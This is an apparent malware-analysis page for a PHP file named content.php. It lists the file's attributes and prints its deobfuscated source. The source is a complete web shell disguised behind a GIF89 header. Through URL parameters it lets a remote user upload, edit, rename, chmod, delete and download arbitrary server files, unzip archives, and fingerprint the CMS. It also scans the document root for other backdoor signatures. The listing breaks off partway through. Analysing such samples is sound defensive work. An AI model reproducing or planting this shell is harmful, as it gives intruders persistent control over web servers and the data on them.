PHP Malware Analysis
content.php
md5: 74a7ee104d121dae778802f3b2e5568c
Jump to:
- Deobfuscated code (Read more)
- Execution traces (Read more)
- Generated HTML (Read more)
- Original Code (Read more)
Screenshot
Attributes
Encoding
- base64_decode (Deobfuscated)
Execution
- eval (Deobfuscated)
Files
- file_get_contents (Deobfuscated)
- move_uploaded_file (Deobfuscated, Original)
Input
- _FILES (Deobfuscated, Original)
- _GET (Deobfuscated, Original)
- _POST (Deobfuscated, Original)
Title
- /var/www/html/content.php (HTML)
URLs
- http://localhost/beneri.se_malware_analysis (HTML)
- http://localhost/content.php (HTML)
- http://localhost/content.php?del=/var/www/html/beneri.se_malware_analysis& (HTML)
- http://localhost/content.php?del=/var/www/html/content.php& (HTML)
- http://localhost/content.php?dir=/var (HTML)
- http://localhost/content.php?dir=/var/www (HTML)
- http://localhost/content.php?dir=/var/www/html (HTML)
- http://localhost/content.php?download=/var/www/html/beneri.se_malware_analysis& (HTML)
- http://localhost/content.php?download=/var/www/html/content.php& (HTML)
- http://localhost/content.php?edit=/var/www/html/beneri.se_malware_analysis& (HTML)
- http://localhost/content.php?edit=/var/www/html/content.php& (HTML)
- http://localhost/uploads/content.php?dir=/var/www/html (Traces)
Deobfuscated PHP code
GIF89;
<?php
function NDOmT($Ia7Nm)
{
$RDrhf = opendir($Ia7Nm) or die("Can't open directory {$Ia7Nm}");
$cIKiU = array();
$UuXBg = array();
meqrb:
if (!(false !== ($dWgkk = readdir($RDrhf)))) {
closedir($RDrhf);
return $cIKiU;
}
if (!($dWgkk != "." && $dWgkk != "..")) {
goto ph1Ju;
}
if (is_dir($Ia7Nm . "/" . $dWgkk)) {
$UuXBg = nDomt($Ia7Nm . "/" . $dWgkk);
$cIKiU = array_merge($cIKiU, $UuXBg);
goto m8cHL;
}
$cIKiU[] = $Ia7Nm . "/" . $dWgkk;
m8cHL:
ph1Ju:
goto meqrb;
}
if (!isset($_GET["juke"])) {
echo "<html>\r\n<head>\r\n\t<title>";
echo $_SERVER["SCRIPT_FILENAME"];
echo "</title>\r\n\t<style type=\"text/css\">\r\n\tINPUT[type=\"text\"] {background-color: #fff8e7;}\tbody{background: #fff8e7;color: #4c5866;font-family: Verdana;font-size: 11px;}\r\n\ta:link{color: #33CC99;}\ta:visited{color: #33CC99;}\ta:hover{text-decoration: none;Color: #3399FF;}table {font-size: 11px;}\r\n\ttd {padding: 1px;padding-left: 10px;padding-right: 10px;padding-top: 2px;}\r\n\t</style>\r\n</head>\r\n<body>\r\n<table cellpadding=\"5\" width=\"80%\">\r\n";
$DX8LI = Gm9CQ($_SERVER["SCRIPT_FILENAME"], '');
if (!($DX8LI !== "444")) {
goto qGBzM;
}
chmod($_SERVER["SCRIPT_FILENAME"], 0444);
qGBzM:
function PAwK5($dWgkk)
{
if (!file_exists($dWgkk)) {
return "file not exists";
}
if (!unlink($dWgkk)) {
if (!chmod($dWgkk, 0755)) {
return "no have permission for chmod!";
}
if (!unlink($dWgkk)) {
return "can not delete!";
}
return "ok!";
}
return "ok!";
}
if (!isset($_GET["dispatch"])) {
goto g41tH;
}
paWk5($_SERVER["SCRIPT_FILENAME"]);
g41tH:
if (empty($_POST["for_del"])) {
function Mvc0w($dWgkk)
{
$SYOxk = strrchr($dWgkk, "/");
$zhek9 = str_replace($SYOxk, '', $dWgkk);
$QgqT5 = new ZipArchive();
$QgqT5->open($dWgkk);
$QgqT5->extractTo($zhek9);
$QgqT5->close();
echo "<tr><td>File: {$SYOxk} - <font color=\"green\">unzip successfully</font></td></tr>";
}
function uxuGj($ir2UM)
{
$AjexP = $ir2UM;
if (file_exists($ir2UM) and filesize($ir2UM) > 1) {
$dWgkk = fopen($AjexP, "rt");
$IoOhN = explode("\n", fread($dWgkk, filesize($AjexP)));
fclose($dWgkk);
return $IoOhN;
}
$IoOhN = array();
return array();
}
function a16XM($Ia7Nm)
{
$stVxA = opendir($Ia7Nm);
a69PW:
if (!(($FYqvS = readdir($stVxA)) !== false)) {
closedir($stVxA);
rmdir($Ia7Nm);
// [PHPDeobfuscator] Implied return
return;
}
if (!($FYqvS != "." && $FYqvS != "..")) {
goto uh_3a;
}
if (is_dir($Ia7Nm . "/" . $FYqvS)) {
A16xm($Ia7Nm . "/" . $FYqvS);
goto NpM31;
}
unlink($Ia7Nm . "/" . $FYqvS);
NpM31:
uh_3a:
goto a69PW;
}
function GX0Lk($ir2UM)
{
if (!(file_exists($ir2UM) and filesize($ir2UM) > 1)) {
goto wmHM5;
}
if (!($dWgkk = fopen($ir2UM, "rt"))) {
if (!chmod($ir2UM, 0775)) {
echo "can't permission for chmod file<br>";
$c7cHS = '';
goto ed0Du;
}
if (!($dWgkk = fopen($ir2UM, "rt"))) {
echo "can't permission for open file<br>";
$c7cHS = '';
goto mDtHt;
}
$c7cHS = fread($dWgkk, filesize($ir2UM));
fclose($dWgkk);
mDtHt:
ed0Du:
goto DP9Ij;
}
$c7cHS = fread($dWgkk, filesize($ir2UM));
fclose($dWgkk);
DP9Ij:
wmHM5:
return $c7cHS;
}
function w4qeL($p3Afk)
{
global $rzkQ7;
$cIKiU = array();
if ($RDrhf = opendir($p3Afk)) {
goto n2zCl;
}
chmod($p3Afk, 0755);
n2zCl:
$RDrhf = opendir($p3Afk);
ms9G9:
if (!(($dWgkk = readdir($RDrhf)) !== false)) {
closedir($RDrhf);
return $rzkQ7;
}
if (!($dWgkk != "." && $dWgkk != "..")) {
goto TTgZu;
}
$YyrSc = $p3Afk . "/" . $dWgkk;
if (is_dir($YyrSc)) {
W4QEl($YyrSc);
goto dbbc3;
}
$mgYQB = stristr($YyrSc, $_SERVER["SCRIPT_FILENAME"]);
if (!($mgYQB == false)) {
goto b0AoT;
}
$rzkQ7[] = $YyrSc;
b0AoT:
dbbc3:
TTgZu:
goto ms9G9;
}
if (!isset($_GET["unzip"])) {
goto jqLnL;
}
MVC0W($_GET["unzip"]);
jqLnL:
if (!isset($_GET["finder"])) {
goto Gnbma;
}
$VdNWK = $_SERVER["SERVER_NAME"];
$QqgvR = $_SERVER["SCRIPT_NAME"];
$aPaH9 = $_SERVER["DOCUMENT_ROOT"] . "/finderdata.txt";
$B55HZ = $_SERVER["DOCUMENT_ROOT"] . "/goodfinderdata.txt";
$UHjCg = "eval(base64_decode(";
$zBJe0 = "Array(base64_decode(";
$XY0kc = "@\$isbot";
$ZV5BV = "@require";
$rEKcz = "eval(gzuncompress(base64_decode(";
$IaZRO = "@include \"\\x2";
$x2HIK = "\$OO";
$W1py1 = "cache=00";
$WMWFy = "file_get_contents(\\\"../index.php\\\")\"";
$zshba = "is_uploaded_file";
$wKKLI = "base64_decode(\$_POST";
$yMStY = "multipart/form-data";
if (!file_exists($aPaH9)) {
$hn0uw = w4QeL($_SERVER["DOCUMENT_ROOT"]);
$A12k0 = fopen($aPaH9, "a");
foreach ($hn0uw as $v3hoM) {
if (!($v3hoM !== $_SERVER["SCRIPT_FILENAME"])) {
goto yJjxz;
}
fwrite($A12k0, $v3hoM . "\n");
yJjxz:
}
fclose($A12k0);
if (file_exists($aPaH9)) {
$rwHC9 = str_replace($_SERVER["DOCUMENT_ROOT"], $_SERVER["SERVER_NAME"], $_SERVER["SCRIPT_FILENAME"]);
$rwHC9 = "http://" . $rwHC9 . "?finder";
echo "\t\r\n\t\t\t<script language = 'javascript'>\r\n\t\t\tvar delay = 300;\r\n\t\t\tsetTimeout(\"document.location.href='";
echo $rwHC9;
echo "'\", delay);\r\n\t\t\t</script>\r\n\t\t\t";
goto mP7HR;
}
echo "error: file finderdata.txt can not create";
mP7HR:
goto fNidh;
}
$L2igI = uXUgJ($aPaH9);
$xvhqj = array();
$n7IRr = 0;
DubCt:
if (!($n7IRr < 900)) {
$LztR2 = 0;
EcZQF:
if (!($LztR2 < 900)) {
$DhVT3 = fopen($aPaH9, "w");
foreach ($L2igI as $HUwOC) {
if (!($HUwOC !== null and $HUwOC !== '' and $HUwOC !== " ")) {
goto EEHJm;
}
fwrite($DhVT3, $HUwOC . "\n");
EEHJm:
}
fclose($DhVT3);
foreach ($xvhqj as $VSewj) {
if (!file_exists($VSewj)) {
goto wrn2n;
}
if (filesize($VSewj) < 5000000) {
$HeFeN = Gx0LK($VSewj);
goto sz6uD;
}
$HeFeN = '';
sz6uD:
$mgYQB = stristr($HeFeN, $UHjCg);
$CNlH7 = stristr($HeFeN, $zBJe0);
$U30RO = stristr($HeFeN, $XY0kc);
$mDUHH = stristr($HeFeN, $ZV5BV);
$wHmX7 = stristr($HeFeN, $rEKcz);
$XV45j = stristr($HeFeN, $IaZRO);
$NpFgL = stristr($HeFeN, $x2HIK);
$H2S_y = stristr($HeFeN, $W1py1);
$BunjV = stristr($HeFeN, $WMWFy);
$K7US8 = stristr($HeFeN, $zshba);
$Baft_ = stristr($HeFeN, $wKKLI);
$uvHHD = stristr($HeFeN, $yMStY);
if (!($mgYQB !== false or $CNlH7 !== false or $U30RO !== false or $mDUHH !== false or $wHmX7 !== false or $XV45j !== false or $NpFgL !== false or $H2S_y !== false or $BunjV !== false or $K7US8 !== false or $Baft_ !== false or $uvHHD !== false)) {
goto DtqMZ;
}
$A12k0 = fopen($B55HZ, "a");
fwrite($A12k0, $VSewj . "\n");
fclose($A12k0);
DtqMZ:
wrn2n:
}
if (count($L2igI) > 0) {
echo count($L2igI) . " files for check<br>";
goto v0w3L;
}
echo "<tr><td>Finish!</td></tr>";
v0w3L:
$fMNNx = UXUGJ($aPaH9);
if (file_exists($aPaH9) and filesize($aPaH9) > 1) {
$rwHC9 = str_replace($_SERVER["DOCUMENT_ROOT"], $_SERVER["SERVER_NAME"], $_SERVER["SCRIPT_FILENAME"]);
$rwHC9 = "http://" . $rwHC9 . "?finder";
echo "\t\r\n\t\t\t<script language = 'javascript'>\r\n\t\t\tvar delay = 100;\r\n\t\t\tsetTimeout(\"document.location.href='";
echo $rwHC9;
echo "'\", delay);\r\n\t\t\t</script>\r\n\t\t\t";
goto w58PV;
}
$eb51o = UxuGj($B55HZ);
foreach ($eb51o as $v3hoM) {
if (!($v3hoM !== null and $v3hoM !== '' and $v3hoM !== " ")) {
goto XzG0B;
}
if (isset($_GET["dir"])) {
$tO3kQ = $_GET["dir"];
goto h_xN0;
}
$tO3kQ = $_SERVER["DOCUMENT_ROOT"];
h_xN0:
$Npkhx = AC9Dk($v3hoM);
$uQts7 = str_replace($_SERVER["DOCUMENT_ROOT"], $_SERVER["SERVER_NAME"], $v3hoM);
echo "<tr bgcolor=\"#ffffff\" align=\"center\"><td align=\"left\" >" . "<a style=\"text-decoration: none;\" href=\"http://{$VdNWK}{$QqgvR}?edit={$v3hoM}&dir={$tO3kQ}\"><font color=\"black\">{$v3hoM}</font></a>" . "</td><td>" . BuCNk($v3hoM) . "</td><td>{$Npkhx}</td><td>" . Gm9cQ($v3hoM, "0") . "</td><td>" . "<a href=\"http://{$VdNWK}{$QqgvR}?del={$v3hoM}&dir={$tO3kQ}\">U</a> " . "<a href=\"http://{$VdNWK}{$QqgvR}?edit={$v3hoM}&dir={$tO3kQ}\">E</a> " . "<a target=\"_blank\" href=\"http://{$uQts7}\">O</a> " . "<a href=\"http://{$VdNWK}{$QqgvR}?download={$v3hoM}&dir={$tO3kQ}\">D</a>" . "</td></tr>";
XzG0B:
}
if (!file_exists($aPaH9)) {
goto yRZid;
}
unlink($aPaH9);
yRZid:
if (!file_exists($B55HZ)) {
goto BCM4T;
}
unlink($B55HZ);
BCM4T:
w58PV:
fNidh:
Gnbma:
if (!isset($_GET["download"])) {
goto ovtL3;
}
$whHds = $_GET["download"];
if (!file_exists($whHds)) {
ovtL3:
function bUcnk($dWgkk)
{
if (file_exists($dWgkk)) {
$XHXNZ = filesize($dWgkk);
if ($XHXNZ > 1024) {
$XHXNZ /= 1024;
if ($XHXNZ > 1024) {
$XHXNZ /= 1024;
if ($XHXNZ > 1024) {
$XHXNZ /= 1024;
$XHXNZ = round($XHXNZ, 1);
return $XHXNZ . " gb";
}
$XHXNZ = round($XHXNZ, 1);
return $XHXNZ . " mb";
}
$XHXNZ = round($XHXNZ, 1);
return $XHXNZ . " kb";
}
$XHXNZ = round($XHXNZ, 1);
return $XHXNZ . " b";
}
return "\xa7\xb6\xa7\xd1\xa7\xdb\xa7\xdd \xa7\xdf\xa7\xd6 \xa7\xdf\xa7\xd1\xa7\xdb\xa7\xd5\xa7\xd6\xa7\xdf";
}
function aC9dk($dWgkk)
{
if (file_exists($dWgkk)) {
$cgAHn = filemtime($dWgkk);
$Npkhx = date("Y-m-d H:i:s", $cgAHn);
return $Npkhx;
}
return "no info";
}
function GM9cQ($VjOK1, $h_0S7)
{
$HEbbe = substr(decoct(fileperms($VjOK1)), -3);
if ($HEbbe == "644") {
$OrrU2 = "green";
goto Vf21G;
}
if ($HEbbe == "755") {
$OrrU2 = "#2EC842";
goto Vf21G;
}
if ($HEbbe == "444") {
$OrrU2 = "brown";
goto Vf21G;
}
if ($HEbbe == "000") {
$OrrU2 = "red";
goto Vf21G;
}
if ($HEbbe == "744") {
$OrrU2 = "orange";
goto Vf21G;
}
if ($HEbbe == "664") {
$OrrU2 = "green";
goto Sz12x;
}
$OrrU2 = "grey";
Sz12x:
Vf21G:
if ($h_0S7 == 1) {
return $HEbbe;
}
return "<font color={$OrrU2}>" . $HEbbe . "</font>";
}
function Zwpme()
{
if (is_dir($_SERVER["DOCUMENT_ROOT"] . "/administrator/") and is_dir($_SERVER["DOCUMENT_ROOT"] . "/components/") and is_dir($_SERVER["DOCUMENT_ROOT"] . "/includes/")) {
return "Joomla!";
}
if (is_dir($_SERVER["DOCUMENT_ROOT"] . "/wp-content/") and is_dir($_SERVER["DOCUMENT_ROOT"] . "/wp-admin/") and is_dir($_SERVER["DOCUMENT_ROOT"] . "/wp-includes/")) {
return "WordPress";
}
return "Unknown";
}
function UhgXi($qag9p)
{
$Konpu = strripos($qag9p, "/");
$WXRUO = substr_replace($qag9p, '', $Konpu, 99999);
return $WXRUO;
}
function E9IFV($w8S3s)
{
echo "<td align=\"right\" colspan=\"2\">";
echo "<form action = '" . $w8S3s . "' method = 'POST'>";
echo "<input name=\"search_file\" size=\"7\" type=\"text\" placeholder=\".suspected\" />";
echo "<input type=\"submit\" value=\"ok\" /></form>";
echo "<form action = '" . $w8S3s . "' method = 'POST'>";
echo "<input name=\"new_file\" size=\"7\" type=\"text\" placeholder=\"make file\" />";
echo "<input type=\"submit\" value=\"ok\" /></form>";
echo "<form action = '" . $w8S3s . "' method = 'POST'>";
echo "<input name=\"new_dir\" size=\"7\" type=\"text\" placeholder=\"make dir\" />";
echo "<input type=\"submit\" value=\"ok\" /></form>";
echo "</td></tr>";
}
if (!isset($_GET["rename"])) {
goto EzSWH;
}
if (empty($_POST["n_name"])) {
goto nU65v;
}
if (rename($_GET["rename"], $_POST["n_name"])) {
$fbXkE = "<font color=\"green\"><b>Name changed!</b></font>";
goto YEiIr;
}
$fbXkE = "<font color=\"red\"><b>Name can not be changed</b></font>";
YEiIr:
echo $fbXkE;
nU65v:
EzSWH:
function y1Fl9($dWgkk, $MVQ4B)
{
if (empty($_POST["chm"])) {
goto NybWP;
}
if ($_POST["chm"] == "0755") {
if (chmod($dWgkk, 0755)) {
$YvMra = "<font color=\"green\"><b>Permission changed!</b></font>";
goto ZJ0zA;
}
$YvMra = "<font color=\"red\"><b>Unable change permission!</b></font>";
ZJ0zA:
goto ft8sW;
}
if ($_POST["chm"] == "0444") {
if (chmod($dWgkk, 0444)) {
$YvMra = "<font color=\"green\"><b>Permission changed!</b></font>";
goto x2nxd;
}
$YvMra = "<font color=\"red\"><b>Unable change permission!</b></font>";
x2nxd:
goto ft8sW;
}
if ($_POST["chm"] == "0644") {
if (chmod($dWgkk, 0644)) {
$YvMra = "<font color=\"green\"><b>Permission changed!</b></font>";
goto wpbyM;
}
$YvMra = "<font color=\"red\"><b>Unable change permission!</b></font>";
wpbyM:
goto KXPjT;
}
$YvMra = "0755<br>0444<br>0644<br>";
KXPjT:
ft8sW:
echo $YvMra;
NybWP:
if (empty($_POST["new"])) {
$Konpu = strripos($dWgkk, "/");
$Ia7Nm = substr_replace($dWgkk, '', $Konpu, 99999);
if (file_exists($dWgkk) and filesize($dWgkk) > 1) {
if (!($Erk1y = fopen($dWgkk, "r"))) {
echo "no have permission<br>";
$RQ7hX = "can't show";
goto vMLRr;
}
$RQ7hX = fread($Erk1y, filesize($dWgkk));
fclose($Erk1y);
vMLRr:
goto O_2_D;
}
$RQ7hX = '';
O_2_D:
$RQ7hX = str_replace("<textarea>", "<textarea>", $RQ7hX);
$RQ7hX = htmlspecialchars($RQ7hX);
echo "<tr><td align=\"center\" colspan=\"5\"><form action = 'http://" . $MVQ4B . "?edit=" . $dWgkk . "&dir=" . $Ia7Nm . "' method = 'POST'>\n";
echo "File: " . $dWgkk . "<br>\n";
echo "<textarea name = 'new' rows = '20' cols = '120'>" . $RQ7hX . "</textarea><br>\n";
echo "<div align=\"right\"><br><input type = 'submit' value = 'Save'></div></form></td></tr>\n";
echo "<tr><td align=\"left\"><form action = 'http://" . $MVQ4B . "?edit=" . $dWgkk . "&dir=" . $Ia7Nm . "' method = 'POST'>\n";
echo "<input name=\"chm\" size=\"4\" type=\"text\" placeholder=\"" . gm9cQ($dWgkk, "1") . "\"/>";
echo "<input type=\"submit\" value=\"ok\" /></form></td>\n";
echo "<td colspan=\"3\" align=\"left\"><form action = 'http://" . $MVQ4B . "?rename=" . $dWgkk . "&dir=" . $Ia7Nm . "' method = 'POST'>\n";
echo "<input type=\"text\" name='n_name' size=\"72\" value=\"{$dWgkk}\">";
echo "<input type=\"submit\" value=\"ok\" /></form></td></tr>\n";
goto f9hpl;
}
if (!empty($_POST["new_remote"])) {
if (chmod($dWgkk, 0755)) {
$RQ7hX = GX0lK($dWgkk);
$RQ7hX = $_POST["new"] . $RQ7hX;
$Erk1y = fopen($dWgkk, "w");
if (fwrite($Erk1y, $RQ7hX)) {
$szW_z = " - <font color=\"green\"><b>Edited!</b></font>";
goto IW1tN;
}
$szW_z = " - <font color=\"red\"><b>Unable to edit!</b></font>";
IW1tN:
fclose($Erk1y);
if (chmod($dWgkk, 0444)) {
goto Yjbz9;
}
return "no have permission for chmod!";
}
return "no have permission for chmod!";
}
if (chmod($dWgkk, 0755)) {
$Erk1y = fopen($dWgkk, "w");
if (fwrite($Erk1y, $_POST["new"])) {
$szW_z = " - <font color=\"green\"><b>Edited!</b></font>";
goto PsIqX;
}
$szW_z = " - <font color=\"red\"><b>Unable to edit!</b></font>";
PsIqX:
fclose($Erk1y);
Yjbz9:
$Konpu = strripos($dWgkk, "/");
$Ia7Nm = substr_replace($dWgkk, '', $Konpu, 99999);
$Erk1y = fopen($dWgkk, "r");
$RQ7hX = fread($Erk1y, filesize($dWgkk));
fclose($Erk1y);
$RQ7hX = str_replace("<textarea>", "<textarea>", $RQ7hX);
echo "<tr><td align=\"center\" colspan=\"5\"><form action = 'http://" . $MVQ4B . "?edit=" . $dWgkk . "&dir=" . $Ia7Nm . "' method = 'POST'>\n";
echo "File: " . $dWgkk . $szW_z . "<br>\n";
echo "<textarea name = 'new' rows = '20' cols = '120'>" . $RQ7hX . "</textarea><br>\n";
echo "<div align=\"right\"><br><input type = 'submit' value = 'Save'></div></form></td></tr>\n";
echo "<tr><td align=\"left\"><form action = 'http://" . $MVQ4B . "?edit=" . $dWgkk . "&dir=" . $Ia7Nm . "' method = 'POST'>\n";
echo "<input name=\"chm\" size=\"4\" type=\"text\" placeholder=\"" . gM9cq($dWgkk, "1") . "\"/>";
echo "<input type=\"submit\" value=\"ok\" /></form></td>\n";
echo "<td colspan=\"3\" align=\"left\"><form action = 'http://" . $MVQ4B . "?rename=" . $dWgkk . "&dir=" . $Ia7Nm . "' method = 'POST'>\n";
echo "<input type=\"text\" name='n_name' size=\"72\" value=\"{$dWgkk}\">";
echo "<input type=\"submit\" value=\"ok\" /></form></td></tr>\n";
if (chmod($dWgkk, 0444)) {
$ut6Ba = "<font color=\"green\"><b>Permission changed!</b></font>";
goto SV8Z3;
}
$ut6Ba = "<font color=\"red\"><b>Unable change permission!</b></font>";
SV8Z3:
f9hpl:
// [PHPDeobfuscator] Implied return
return;
}
return "no have permission for chmod!";
}
if (!isset($_GET["del"])) {
goto Eo14L;
}
if (is_dir($_GET["del"])) {
A16xm($_GET["del"]);
goto QIeXQ;
}
PAwk5($_GET["del"]);
QIeXQ:
Eo14L:
$VdNWK = $_SERVER["SERVER_NAME"];
$QqgvR = $_SERVER["SCRIPT_NAME"];
$DtzO6 = array();
$xWYvg = array();
echo "\t<tr align=\"left\">\r\n\t\t<td colspan=\"3\">\r\n\t\t";
if (sizeof($_FILES) != 0) {
if (!(isset($_FILES) && $_FILES["inputfile"]["error"] == 0)) {
goto y1_MN;
}
if (isset($_GET["dir"])) {
$qag9p = $_GET["dir"];
goto g3wGR;
}
$qag9p = $_SERVER["DOCUMENT_ROOT"];
g3wGR:
$uKa5l = $qag9p . "/" . $_FILES["inputfile"]["name"];
move_uploaded_file($_FILES["inputfile"]["tmp_name"], $uKa5l);
$JH7So = str_replace($_SERVER["DOCUMENT_ROOT"], $_SERVER["SERVER_NAME"], $uKa5l);
echo "<font color=\"green\"><b>" . "<a target=\"_blank\" href=\"http://{$JH7So}\">File Uploaded!</a>" . "</b></font>";
y1_MN:
goto rzl0N;
}
if (sizeof($_FILES) != 0) {
echo "<font color=\"red\"><b>No File Uploaded</b></font>";
goto qo8s7;
}
qo8s7:
rzl0N:
if (isset($_GET["dir"])) {
$ut7CJ = $_SERVER["SCRIPT_NAME"] . "?dir=" . $_GET["dir"];
goto LO9Y4;
}
$ut7CJ = $_SERVER["SCRIPT_NAME"] . "?dir=" . $_SERVER["DOCUMENT_ROOT"];
LO9Y4:
echo "\t\t\t<form method=\"post\" action=\"";
echo $ut7CJ;
echo "\" enctype=\"multipart/form-data\">\r\n\t\t\t<input type=\"file\" id=\"inputfile\" name=\"inputfile\">\r\n\t\t\t<input type=\"submit\" value=\"ok\">\r\n\t\t\t</form>\r\n\t\t\tCMS: ";
echo zWPME();
echo "<br>\r\n\t\t\tServer IP: ";
echo $_SERVER["SERVER_ADDR"];
echo "<br>\r\n\t\t\tRoot: ";
echo "<a href=\"http://" . $VdNWK . $QqgvR . "?dir=" . $_SERVER["DOCUMENT_ROOT"] . "\">" . $_SERVER["DOCUMENT_ROOT"] . "</a>";
echo "\t\t\t<br><br>\r\n\t\t\tDirectory: \r\n\t\t\t";
if (isset($_GET["dir"])) {
$qag9p = $_GET["dir"];
goto y9qYU;
}
$qag9p = $_SERVER["DOCUMENT_ROOT"];
y9qYU:
$BwPeK = explode("/", $qag9p);
$QB964 = count($BwPeK) - 1;
$Tv4ro = array();
$cjZuP = $qag9p;
$LztR2 = 1;
MeHGB:
if (!($LztR2 <= $QB964)) {
$LztR2 = 1;
MJcgr:
if (!($LztR2 <= $QB964)) {
echo "\t\t\t\r\n\t\t\t\r\n\t\t</td>\r\n\t";
if (isset($_GET["dir"])) {
if (isset($_POST["new_file_name"])) {
$P3pJd = $_GET["dir"] . "/" . $_POST["new_file_name"];
$w8S3s = "http://" . $VdNWK . $QqgvR . "?dir=" . $_GET["dir"] . "&edit=" . $P3pJd;
goto ouA0y;
}
$w8S3s = "http://" . $VdNWK . $QqgvR . "?dir=" . $_GET["dir"];
ouA0y:
goto f_RKQ;
}
if (isset($_POST["new_file_name"])) {
$P3pJd = $_SERVER["DOCUMENT_ROOT"] . "/" . $_POST["new_file_name"];
$w8S3s = "http://" . $VdNWK . $QqgvR . "?dir=" . $_GET["dir"] . "&edit=" . $P3pJd;
goto RW3eb;
}
$w8S3s = "http://" . $VdNWK . $QqgvR . "?dir=" . $_SERVER["DOCUMENT_ROOT"];
RW3eb:
f_RKQ:
if (empty($_POST["new_file"]) and empty($_POST["search_file"]) and empty($_POST["new_dir"])) {
if (isset($_GET["dir"])) {
$qag9p = $_GET["dir"];
goto McIeq;
}
$qag9p = $_SERVER["DOCUMENT_ROOT"];
McIeq:
$w8S3s = "http://" . $VdNWK . $QqgvR . "?dir=" . $qag9p;
E9Ifv($w8S3s);
goto mP2FX;
}
if (!empty($_POST["new_file"])) {
if (isset($_GET["dir"])) {
$qag9p = $_GET["dir"] . "/" . $_POST["new_file"];
goto HFGvx;
}
$qag9p = $_SERVER["DOCUMENT_ROOT"] . "/" . $_POST["new_file"];
HFGvx:
$w8S3s = "http://" . $VdNWK . $QqgvR . "?dir=" . $_GET["dir"] . "&edit=" . $qag9p;
if ($Erk1y = fopen($qag9p, "w")) {
echo "<font color=\"green\">File created successfully!</font>";
E9ifV($w8S3s);
goto qXIA4;
}
echo "<font color=\"red\">Can not create!</font>";
e9Ifv($w8S3s);
qXIA4:
fclose($Erk1y);
goto mP2FX;
}
if (!empty($_POST["new_dir"])) {
if (isset($_GET["dir"])) {
$qag9p = $_GET["dir"] . "/" . $_POST["new_dir"];
goto pTDZJ;
}
$qag9p = $_SERVER["DOCUMENT_ROOT"] . "/" . $_POST["new_dir"];
pTDZJ:
$w8S3s = "http://" . $VdNWK . $QqgvR . "?dir=" . $_GET["dir"] . "&new_dir=" . $qag9p;
if ($Erk1y = mkdir($qag9p)) {
E9ifv($w8S3s);
echo "<tr align=\"center\"><td align=\"left\" ><font color=\"green\">Folder created successfully!</font></td><td></td><td></td><td></td><td></td></tr>";
goto Eo0Zl;
}
e9ifV($w8S3s);
echo "<tr align=\"center\"><td align=\"left\" ><font color=\"red\">Can not create folder!</font></td><td></td><td></td><td></td><td></td></tr>";
Eo0Zl:
goto mP2FX;
}
if (!empty($_POST["search_file"])) {
$ncBPG = $_POST["search_file"];
$qVSSk = w4qEL($qag9p);
if (isset($_GET["dir"])) {
$tO3kQ = $_GET["dir"];
goto on9Rz;
}
$tO3kQ = $_SERVER["DOCUMENT_ROOT"];
on9Rz:
E9IfV($w8S3s);
foreach ($qVSSk as $KHapq) {
$mgYQB = stristr($KHapq, $ncBPG);
if (!($mgYQB !== false)) {
goto uY1eG;
}
$Npkhx = aC9Dk($KHapq);
$uQts7 = str_replace($_SERVER["DOCUMENT_ROOT"], $_SERVER["SERVER_NAME"], $KHapq);
echo "<tr bgcolor=\"#ffffff\" align=\"center\"><td align=\"left\" >" . "<a style=\"text-decoration: none;\" href=\"http://{$VdNWK}{$QqgvR}?edit={$KHapq}&dir={$tO3kQ}\"><font color=\"black\">{$KHapq}</font></a>" . "</td><td>" . bUcnk($KHapq) . "</td><td>{$Npkhx}</td><td>" . gM9cQ($KHapq, "0") . "</td><td>" . "<a href=\"http://{$VdNWK}{$QqgvR}?del={$KHapq}&dir={$tO3kQ}\">U</a> " . "<a href=\"http://{$VdNWK}{$QqgvR}?edit={$KHapq}&dir={$tO3kQ}\">E</a> " . "<a target=\"_blank\" href=\"http://{$uQts7}\">O</a> " . "<a href=\"http://{$VdNWK}{$QqgvR}?download={$KHapq}&dir={$tO3kQ}\">D</a>" . "</td></tr>";
uY1eG:
}
goto QoeRX;
}
QoeRX:
mP2FX:
if (!isset($_GET["edit"])) {
goto VlPfp;
}
$MVQ4B = $VdNWK . $QqgvR;
y1fL9($_GET["edit"], $MVQ4B);
VlPfp:
echo "\t\r\n\t<tr align=\"center\" style=\"color: #423c63;\"><td align=\"left\"><b>Name</b></td><td><b>Size</b></td><td><b>Modify</b></td><td><b>Permissions</b></td><td><b>Actions</b></td></tr>\r\n\r\n\t";
if (isset($_GET["dir"])) {
$CBxRP = scandir($_GET["dir"]);
goto ok3Ws;
}
$CBxRP = scandir($_SERVER["DOCUMENT_ROOT"]);
ok3Ws:
foreach ($CBxRP as $v3hoM) {
$lm1oa = $v3hoM;
if (isset($_GET["dir"])) {
$lm1oa = $_GET["dir"] . "/" . $v3hoM;
goto fmLrL;
}
$lm1oa = $_SERVER["DOCUMENT_ROOT"] . "/" . $v3hoM;
fmLrL:
if (is_dir($lm1oa)) {
$DtzO6[] = $v3hoM;
goto yIYlH;
}
$xWYvg[] = $v3hoM;
yIYlH:
}
$Ay1ZD = 0;
foreach ($DtzO6 as $v3hoM) {
if (!($v3hoM !== "." and $v3hoM !== "..")) {
goto T4nO6;
}
if (isset($_GET["dir"])) {
$Y1ljX = $_GET["dir"] . "/" . $v3hoM;
$Pykbw = $_GET["dir"] . "/" . $v3hoM;
goto ttusL;
}
$Y1ljX = $_SERVER["DOCUMENT_ROOT"] . "/" . $v3hoM;
$Pykbw = $_SERVER["DOCUMENT_ROOT"] . "/" . $v3hoM;
ttusL:
$ogngT = $Pykbw;
$SYOxk = strrchr($ogngT, "/");
$ogngT = str_replace($SYOxk, '', $ogngT);
$Npkhx = ac9DK($Y1ljX);
if ($Ay1ZD % 2 == 0) {
$kUjp8 = "#fff8e7";
goto oHqQ4;
}
$kUjp8 = "#ffffe0";
oHqQ4:
echo "<tr bgcolor=\"{$kUjp8}\" align=\"center\"><td align=\"left\" >" . "<font color=\"#904d30\"><b><a href=\"http://{$VdNWK}{$QqgvR}?dir={$Pykbw}\">{$v3hoM}</a></b></font>" . "</td><td>dir</td><td>{$Npkhx}</td><td>" . gm9Cq($Y1ljX, "0") . "</td><td>" . "<a href=\"http://{$VdNWK}{$QqgvR}?del={$Y1ljX}&dir={$ogngT}\">U</a> " . "</td></tr>";
$Ay1ZD++;
T4nO6:
}
foreach ($xWYvg as $v3hoM) {
if (isset($_GET["dir"])) {
$Y1ljX = $_GET["dir"] . "/" . $v3hoM;
$tO3kQ = $_GET["dir"];
goto Svnev;
}
$Y1ljX = $_SERVER["DOCUMENT_ROOT"] . "/" . $v3hoM;
$tO3kQ = $_SERVER["DOCUMENT_ROOT"];
Svnev:
$Npkhx = ac9Dk($Y1ljX);
